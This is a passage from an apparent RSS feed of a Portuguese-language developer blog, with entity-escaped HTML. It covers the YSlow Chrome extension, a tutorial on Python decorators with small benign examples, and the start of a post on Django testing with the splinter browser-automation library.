PkYPGxiwB28wCICo5T21paWnh8dMZtHSXrNn7tqMBS0K7ezdiYkIXGurnoAkzF80ZqRi+3RcF/Gp0sE5DNcKd3qEZhJ9s9VgzMGKjrZ3dgvJqNXjw3Xj06uoSJmRKFU4hUpR23aFDBafRyLgEjfcUIluJ7TA8ikkMPhbv8kQNrWjUJgORy8nAE5VnaJZhJG7cZKqwsrVGNntvNMw8mx16OjGFVp7HFSack7SzdxMtiupEU9MSNGMXKdFsNGIcwftMDiZ85odaurGooxmM3q5ZyNTn05vAkVb/iKNgMD+0tB+E5y+ev74wdBuNOVWUNbeRZllXrbczZSox/SzU1k3FYrNI/M3ACJ00fVBzCw91NPxxs6orbtnohtqbvWhyA5fS/ZyN9vscXinBeUXjqUHaxqOeami+SWVmnqfYpiWUjU055eRVQ/mF1FOvmM7UL9pMyse9kGLaZlP6eiJKCVGJQjFVVtBKMQ2E1MdaTJrjxFHA3PwstnYMozajCJ192jG56ApWnH2ItSOzWHllDvMuv8DO2GqU8iuQ1/EUgxq+RU/JGNqn9OEerxO4XVeE6gQXt+mw0NnVBeHho0eT5y9ce2/tkrOSdOy0XNw2IM+p75Mnl/fKY4u65REF3XJeeZ88VBledpfcP10q9zzUIndJbJI7xJ6U7w0Uy3cZ8VZY5vt/9/X3m4T6Vpn6ra9vaExMnyVz0qJIq60mZJi5IymJEpG9RRnkWG0h+bMklcSWfPKni03keGsBeaM0juyJcyUbvQzI+iRnsvnccbJcUqyRlJSiDq0dZ+Dm2CiM3e2CY9kpwHcPhgxhNFSlpUFnaT5cqpXAN7IGmOzrgMkv22GsuQwulqdDR1Yk1Mf7gCQlCCpaxJBfmAsJiYcARm+PQf/wdSI5s4pIz6shsgoaiDxxE1FQ1kaIK08RkupOoqqum6hrOk9UN5wlisrbiCPKvcTUMkIYl0sEC9IIj4A4wtsvhAjlhf33H/9vwf+QNKBDFQsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Logotipo do YSlow&amp;quot;&quot;
        title=&quot;Logotipo do YSlow&quot;
        src=&quot;/static/e658b9e334c586fdb2a033abd13f8bba/8a4e8/yslow-logo.png&quot;
        srcset=&quot;/static/e658b9e334c586fdb2a033abd13f8bba/8a4e8/yslow-logo.png 150w&quot;
        sizes=&quot;(max-width: 150px) 100vw, 150px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Logotipo do YSlow&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E por último, mas não menos importante, uma das extensões mais famosas do
&lt;em&gt;Firefox&lt;/em&gt; (entre os desenvolvedores) ganha a sua versão para o &lt;em&gt;Google Chrome&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;YSlow&lt;/em&gt; tem certa semelhança com o &lt;em&gt;Speed Trace&lt;/em&gt;, te ajudando a controlar a
performance do seu website ou aplicação &lt;em&gt;Web&lt;/em&gt;. Porém, ele é relativamente mais
simples, e tem um enfoque maior no tempo e consumo de recursos, apresentando
uma nota final (baseada em métricas que estão no
livro “&lt;a href=&quot;http://www.oficinadanet.com.br/livro/alta-performance-em-sites-web&quot; title=&quot;Leia a resenha do livro&quot;&gt;Alta Performance em Sites Web&lt;/a&gt;“) juntamente com sugestões de
melhorias que deixarão o seu website muito mais rápido.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/ninejjcohidippngpapiilnmkgllmakh&quot; title=&quot;YSlow&quot;&gt;&lt;em&gt;YSlow&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;E você? Tem alguma extensão para recomendar? Compartilhe através dos comentários abaixo…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Decorators em Python]]></title><description><![CDATA[E na mesma linha dos closures, eu passei a
saber realmente o que são decorators depois de utilizar o framework
Django. Se você está…]]></description><link>https://klauslaube.com.br/2011/08/02/decorators-em-python.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/08/02/decorators-em-python.html</guid><pubDate>Tue, 02 Aug 2011 20:00:00 GMT</pubDate><content:encoded>&lt;p&gt;E na mesma linha dos &lt;a href=&quot;/2011/05/29/afinal-o-que-sao-closures.html&quot; title=&quot;Afinal, o que são Closures?&quot;&gt;&lt;em&gt;closures&lt;/em&gt;&lt;/a&gt;, eu passei a
saber realmente o que são &lt;em&gt;decorators&lt;/em&gt; depois de utilizar o &lt;em&gt;framework&lt;/em&gt;
&lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;. Se você está trabalhando com &lt;a href=&quot;/tag/oop.html&quot; title=&quot;Leia mais sobre OOP&quot;&gt;Orientação a Objetos&lt;/a&gt; e
até agora não se deparou com este recurso, te garanto que um dia você
precisará dele… afinal, é um dos &lt;a href=&quot;http://pt.wikipedia.org/wiki/Padr%C3%A3o_de_projeto_de_software&quot; title=&quot;Conheça os Design Patterns&quot;&gt;&lt;em&gt;Design Patterns&lt;/em&gt;&lt;/a&gt; mais bacanas (e
úteis) que já vi.&lt;/p&gt;
&lt;p&gt;Vamos lá “decorar” nossos métodos &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;!&lt;/p&gt;
&lt;h2&gt;Decoradores? Really?&lt;/h2&gt;
&lt;p&gt;Eu não saberia explicar de uma forma melhor do que foi explicado pela
&lt;a href=&quot;http://pt.wikipedia.org/wiki/Decorator&quot; title=&quot;Leia mais sobre o pattern Decorator&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;, o que é o padrão decorator:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Intenção:&lt;/strong&gt; Acrescentar responsabilidades a um objeto
dinamicamente. Prover alternativa flexível ao uso de subclasses para
se estender a funcionalidade de uma classe;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Motivação:&lt;/strong&gt; Objeto usado possui as funcionalidades básicas, mas é
necessário adicionar funcionalidades adicionais a ele que podem
ocorrer antes ou depois da funcionalidade básica. Funcionalidades
devem ser adicionadas em instancias individuais e não na classe;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Consequências:&lt;/strong&gt; Mais flexibilidade do que herança.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Encontramos na &lt;a href=&quot;http://wiki.python.org/moin/FrontPage&quot; title=&quot;Wiki oficial da linguagem Python&quot;&gt;&lt;em&gt;Wiki&lt;/em&gt; do &lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; uma explicação mais objetiva e
esclarecedora:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Decorators alteram dinamicamente a funcionalidade de uma função,
método ou classe, sem uso direto de subclasses ou alterando o
código-fonte da função “decorada”.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;O uso de decorators em Python&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Python&lt;/em&gt; começou a dar suporte a &lt;em&gt;decorators&lt;/em&gt; a partir da &lt;strong&gt;versão
2.4&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Você terá a sua disposição alguns decoradores &lt;em&gt;built-in&lt;/em&gt; e também poderá
criar os seus próprios sem muito dificuldade. É possível identificar um
&lt;em&gt;decorator&lt;/em&gt; através do caractere &lt;code class=&quot;language-text&quot;&gt;@&lt;/code&gt;, por exemplo, a instrução abaixo
declara o método &lt;code class=&quot;language-text&quot;&gt;say_hello&lt;/code&gt; da classe &lt;code class=&quot;language-text&quot;&gt;People&lt;/code&gt; como estático:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;People&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@staticmethod&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;say_hello&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Hello!&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vale notar que podemos reproduzir o comportamento acima sem utilizar a
sintaxe especial de &lt;em&gt;decorators&lt;/em&gt; (mas não deixamos de utilizar o
conceito):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;People&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;say_hello&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Hello!&apos;&lt;/span&gt;
  say_hello &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;staticmethod&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;say_hello&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Quer conhecer mais sobre &lt;em&gt;decorators&lt;/em&gt; em &lt;em&gt;Python&lt;/em&gt;? Leia a
&lt;a href=&quot;http://www.python.org/dev/peps/pep-0318/&quot; title=&quot;Leia mais sobre a PEP318&quot;&gt;&lt;em&gt;PEP 318 – Decorators for functions and methods&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Um pouco de prática&lt;/h2&gt;
&lt;p&gt;Vamos por a mão na massa e criar o nosso próprio &lt;em&gt;decorator&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# meu_decorator.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;meu_decorador&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;alvo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wrapper&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Chamando a funcao &quot;%s&quot;&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; alvo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__name__
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; alvo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; wrapper

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@meu_decorador&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;meu_alvo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Eu sou um alvo!&apos;&lt;/span&gt;

meu_alvo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Chamando o &lt;em&gt;script&lt;/em&gt; acima, teremos o seguinte resultado:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python meu_decorator.py

Chamando a funcao &quot;meu_alvo&quot;
Eu sou um alvo!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vou tentar seguir um fluxo que deixe claro o que o procedimento está
realizando.&lt;/p&gt;
&lt;p&gt;O comportamento da função &lt;code class=&quot;language-text&quot;&gt;meu_alvo&lt;/code&gt; é muito simples: imprimir &lt;code class=&quot;language-text&quot;&gt;“Eu sou um alvo!”&lt;/code&gt; na tela. Mas o &lt;code class=&quot;language-text&quot;&gt;@meu_decorador&lt;/code&gt; está lá para
complicar a nossa vida :D&lt;/p&gt;
&lt;p&gt;Com a chamada de &lt;code class=&quot;language-text&quot;&gt;@meu_decorador&lt;/code&gt; logo acima de &lt;code class=&quot;language-text&quot;&gt;meu_alvo&lt;/code&gt;, fica
claro que na verdade estamos passando &lt;code class=&quot;language-text&quot;&gt;meu_alvo&lt;/code&gt; como um parâmetro
(&lt;code class=&quot;language-text&quot;&gt;alvo&lt;/code&gt;) para o método &lt;code class=&quot;language-text&quot;&gt;meu_decorador&lt;/code&gt;, encontrado logo no início
do arquivo. Note que o método retorna &lt;code class=&quot;language-text&quot;&gt;wrapper&lt;/code&gt; sem os parênteses no
final (que caracterizam uma chamada de função), ele está retornando
apenas a referência ao método &lt;code class=&quot;language-text&quot;&gt;wrapper&lt;/code&gt;, que será de fato “executado”
externamente.&lt;/p&gt;
&lt;p&gt;Dentro da função &lt;code class=&quot;language-text&quot;&gt;wrapper&lt;/code&gt; temos a impressão da &lt;em&gt;string&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;‘Chamando a funcao “meu_alvo”‘&lt;/code&gt; e a execução de &lt;code class=&quot;language-text&quot;&gt;meu_alvo&lt;/code&gt;. Isto deve-se ao
fato de que &lt;code class=&quot;language-text&quot;&gt;alvo&lt;/code&gt; nada mais é que uma referência a função
&lt;code class=&quot;language-text&quot;&gt;meu_alvo&lt;/code&gt;, que passamos como argumento para &lt;code class=&quot;language-text&quot;&gt;meu_decorador&lt;/code&gt;
através do &lt;code class=&quot;language-text&quot;&gt;@meu_decorador&lt;/code&gt; logo acima da função &lt;code class=&quot;language-text&quot;&gt;meu_alvo&lt;/code&gt;,
certo?&lt;/p&gt;
&lt;p&gt;Então resumindo isso tudo, o resultado final é que &lt;code class=&quot;language-text&quot;&gt;meu_alvo()&lt;/code&gt; no
final do arquivo na verdade é a execução da referência a &lt;code class=&quot;language-text&quot;&gt;wrapper&lt;/code&gt;, ou
seja, é o mesmo que ler &lt;code class=&quot;language-text&quot;&gt;“wrapper()“&lt;/code&gt;. Ele fará o &lt;em&gt;print&lt;/em&gt; e
posteriormente retornará o resultado de &lt;code class=&quot;language-text&quot;&gt;meu_alvo&lt;/code&gt;, que nada mais é
que a impressão de &lt;code class=&quot;language-text&quot;&gt;“Eu sou um alvo!”&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Bacana não? Aqui vai mais um para deixar as coisas um pouco mais claras…
vamos simular o esquema de roteamento de um &lt;em&gt;framework&lt;/em&gt; &lt;a href=&quot;/tag/desenvolvimento-web.html&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;rotas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rota&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;endereco&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wrapper&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fn&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    rotas&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;endereco&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fn&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; wrapper

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@rota&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;/index/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;home_view&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Pagina inicial&apos;&lt;/span&gt;

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@rota&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;/contato/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;contato_view&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Pagina de contato&apos;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; rotas&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Pagina inicial&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; rotas&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Pagina de contato&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; rotas
&lt;span class=&quot;token comment&quot;&gt;# [(&apos;/index/&apos;, &amp;lt; function home_view at 0xb736580c &gt;),&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#  (&apos;/contato/&apos;, &amp;lt; function contato_view at 0xb7365b8c &gt;)]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://devlog.waltercruz.com/python_decorators&quot; title=&quot;Walter Cruz em um excelente post sobre Decorators em Python&quot;&gt;&lt;em&gt;Devlog – @decorators&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.fiveminutes.eu/a-quick-introduction-to-python-decorators/&quot; title=&quot;Uma introdução rápida aos decorators em Python. Muito bom!&quot;&gt;&lt;em&gt;Five Minutes – A quick introduction to Python decorators&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.python.org/workshops/1997-10/proceedings/savikko.html&quot; title=&quot;Padrões de Projetos em Python.&quot;&gt;&lt;em&gt;Python.org – Design Patterns in Python&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://wiki.python.org/moin/PythonDecorators&quot; title=&quot;Decorators em Python, direto da Wiki oficial do Python&quot;&gt;&lt;em&gt;Python.org – Python Decorators&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.siafoo.net/article/68&quot; title=&quot;Decorators em Python não precisam ser assustadores. Um ótimo artigo.&quot;&gt;&lt;em&gt;Siafoo – Python Decorators Don’t Have to be (that) Scary&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pt.wikipedia.org/wiki/Decorator&quot; title=&quot;Leia mais na Wikipedia sobre Decorators&quot;&gt;&lt;em&gt;Wikipedia – Decorator&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Ferramentas de testes em Django - Parte 2]]></title><description><![CDATA[No post anterior,
conhecemos as ferramentas default para construção de testes
automatizados em Django. Acontece que você pode “sair um pouco…]]></description><link>https://klauslaube.com.br/2011/07/23/ferramentas-de-testes-em-django-parte-2.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/07/23/ferramentas-de-testes-em-django-parte-2.html</guid><pubDate>Sat, 23 Jul 2011 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2011/07/18/ferramentas-de-testes-em-django-parte-1.html&quot; title=&quot;Ferramentas de testes em Django - Parte 1&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt;,
conhecemos as ferramentas &lt;em&gt;default&lt;/em&gt; para construção de testes
automatizados em &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;. Acontece que você pode “sair um pouco da
caixa” e usufruir de ferramentas “third-party“, que enriquecerão o seu
ambiente de desenvolvimento e lhe trarão maior segurança em seus &lt;a href=&quot;/tag/testes.html&quot; title=&quot;Leia mais sobre testes&quot;&gt;testes
de &lt;em&gt;software&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;splinter – Testando a sua aplicação com um navegador&lt;/h2&gt;
&lt;p&gt;É perfeitamente possível criar testes de aceitação em &lt;em&gt;Django&lt;/em&gt; com a
&lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/testing/#module-django.test.client&quot; title=&quot;Testando aplicações web com test client em Django&quot;&gt;&lt;em&gt;TestClient&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;http://lxml.de/&quot; title=&quot;Faça parser XML e HTML com lxml&quot;&gt;&lt;em&gt;lxml&lt;/em&gt;&lt;/a&gt;. Mas vamos ser sinceros, é deveras
trabalhoso “parsear” os resultados das suas &lt;em&gt;views&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Com a &lt;a href=&quot;http://splinter.cobrateam.info/&quot; title=&quot;Visite a documentação oficial da Splinter&quot;&gt;&lt;em&gt;Splinter&lt;/em&gt;&lt;/a&gt;, uma ferramenta para testes de aplicações
&lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, você pode automatizar ações executadas por navegadores, como
visitar uma página, preencher um formulário ou clicar em um &lt;em&gt;link&lt;/em&gt;; tudo
isso sem preocupar-se com &lt;em&gt;parsing&lt;/em&gt;, nós, &lt;em&gt;DOM&lt;/em&gt;, nem nada do tipo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; splinter&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Browser

browser &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Browser&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Visitar uma URL&lt;/span&gt;
url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;http://search.twitter.com&quot;&lt;/span&gt;
browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;visit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fill&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;q&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#cobrateam&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Procurar e clicar no botão &apos;search&apos;&lt;/span&gt;
button &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;find_by_css&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;#searchButton input&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;first

&lt;span class=&quot;token comment&quot;&gt;# Interagir com os elementos&lt;/span&gt;
button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;click&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_text_present&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;No results for #cobrateam&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;nobody likes us =(&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
